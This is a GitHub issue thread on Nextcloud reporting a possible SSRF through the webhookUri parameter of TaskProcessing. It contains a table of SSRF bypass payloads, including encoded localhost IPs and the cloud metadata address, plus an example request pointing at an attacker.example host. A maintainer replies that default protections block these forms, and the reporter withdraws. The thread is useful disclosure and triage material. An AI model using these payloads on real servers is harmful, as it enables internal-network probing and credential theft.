[Bug]: SSRF Through webhookURI in TaskProcessing

[Yoshino-Airi]

⚠️ This issue respects the following points: ⚠️

• This is a bug, not a question or a configuration/webserver/proxy issue.
• This issue is not already reported on Github OR Nextcloud Community Forum (I've searched it).
• Nextcloud Server is up to date. See Maintenance and Release Schedule for supported versions.
• I agree to follow Nextcloud's Code of Conduct.

Bug description

N-2 — SSRF via webhookUri in TaskProcessing — Any Authenticated User

File: core/Controller/TaskProcessingApiController.php, lines 167–173
File: lib/private/TaskProcessing/Manager.php, lines 1923–1947

// TaskProcessingApiController.php — #[NoAdminRequired]
public function scheduleTask(
    string $type, array $input, string $appId = '',
    ?string $webhookUri = null,     // ← user-controlled, NO scheme validation
    ?string $webhookMethod = null,
    ...
): DataResponse {
    $task->setWebhookUri($webhookUri);

// Manager.php — when the task completes:
$client->request($httpMethod, $uri, $options);  // Sends an HTTP request to $uri

Any authenticated user can create an AI task with an arbitrary webhookUri. Once the task completes, the server sends an HTTP request to that URI along with the task result.

Although DnsPinMiddleware provides SSRF protection, multiple bypass techniques exist:

Bypass technique	Example
IPv6 localhost	http://[::1]/api/
IPv4-mapped IPv6	http://[::ffff:127.0.0.1]/
Decimal IP	http://2130706433/ (= 127.0.0.1)
Octal IP	http://0177.0.0.1/
DNS rebinding	Change the DNS A record after resolution
Cloud metadata	http://169.254.169.254/ (AWS/GCP)

Additionally, if parse_url returns null for the host (e.g., when using a non-HTTP scheme), the resulting exception is caught and only a warning is logged—it does not prevent the request from being sent.

### Steps to reproduce

## Steps to reproduce

1. Log in as any non-admin user.
2. Ensure the AI / TaskProcessing app is enabled.
3. Send a request to the `scheduleTask` API and specify an arbitrary `webhookUri`, for example:

```json
{
  "type": "<valid_task_type>",
  "input": {
    ...
  },
  "webhookUri": "https://attacker.example/webhook"
}

4. Wait for the task to complete.
5. Observe that the server sends an HTTP request to the specified webhookUri containing the task result.

To verify SSRF behavior, replace webhookUri with an internal or otherwise restricted target (e.g. localhost or cloud metadata endpoint, if reachable) and observe that the server attempts to connect to the supplied address.

Expected behavior

The server should validate webhookUri before storing or using it.

Only explicitly allowed destinations and schemes should be accepted. Requests to localhost, private or link-local addresses, cloud metadata endpoints, or other internal resources should be rejected before the task is scheduled.

If the supplied webhookUri fails validation, the API should return an error instead of accepting the task and later attempting to send an HTTP request.

Nextcloud Server version

32

Operating system

Debian/Ubuntu

PHP engine version

None

Web server

None

Database engine version

None

Is this bug present after an update or on a fresh install?

None

Are you using the Nextcloud Server Encryption module?

None

What user-backends are you using?

• Default user-backend (database)
• LDAP/ Active Directory
• SSO - SAML
• Other

Configuration report

List of activated Apps

Nextcloud Signing status

Nextcloud Logs

Additional info

No response

[joshtrichards]

Hi @Yoshino-Airi - Thanks for the report. I took a quick look:

To verify SSRF behavior, replace webhookUri with an internal or otherwise restricted target (e.g. localhost or cloud metadata endpoint, if reachable) and observe that the server attempts to connect to the supplied address.

Did you attempt this successfully against a default configuration, or was this a hypothesis?

$client->request($httpMethod, $uri, $options) calls Nextcloud's IClient::request(), not Guzzle. That implementation calls preventLocalAddress() before making the request. A URI whose host is absent or classified as local - such as the examples listed in your report - should always cause LocalServerException; that exception is passed onward by the client and caught by runWebhook(). This is all prior to the request actually getting sent.

So I don't see how the described behavior occurs under the default configuration.

Only explicitly allowed destinations and schemes should be accepted. Requests to localhost, private or link-local addresses, cloud metadata endpoints, or other internal resources should be rejected before the task is scheduled.

The listed local-address targets are checked and rejected before the client request is sent.

The only exception I can think of would be an administrator explicitly configuring allow_local_remote_servers = true, which disables the local-address restrictions. That is not the default. DNS pinning is also enabled by default, which protects hostname-based requests from resolving or rebinding to local addresses.

If the supplied webhookUri fails validation, the API should return an error instead of accepting the task and later attempting to send an HTTP request.

I agree that validating webhookUri at scheduling time would be preferable: it would reject malformed or unsupported callback URLs immediately rather than accept a task whose callback later fails. This would improve the user experience and a reasonable defense-in-depth measure.

It is a user-controlled outbound-request capability and merits clear documentation, but this does not appear to be an exploitable internal-network SSRF under the default configuration.

P.S. For future reference, the official reporting channel for security matters: https://hackerone.com/nextcloud

[Yoshino-Airi]

Sorry for bother you. I'll review this and if that any bug I'll report. Thank you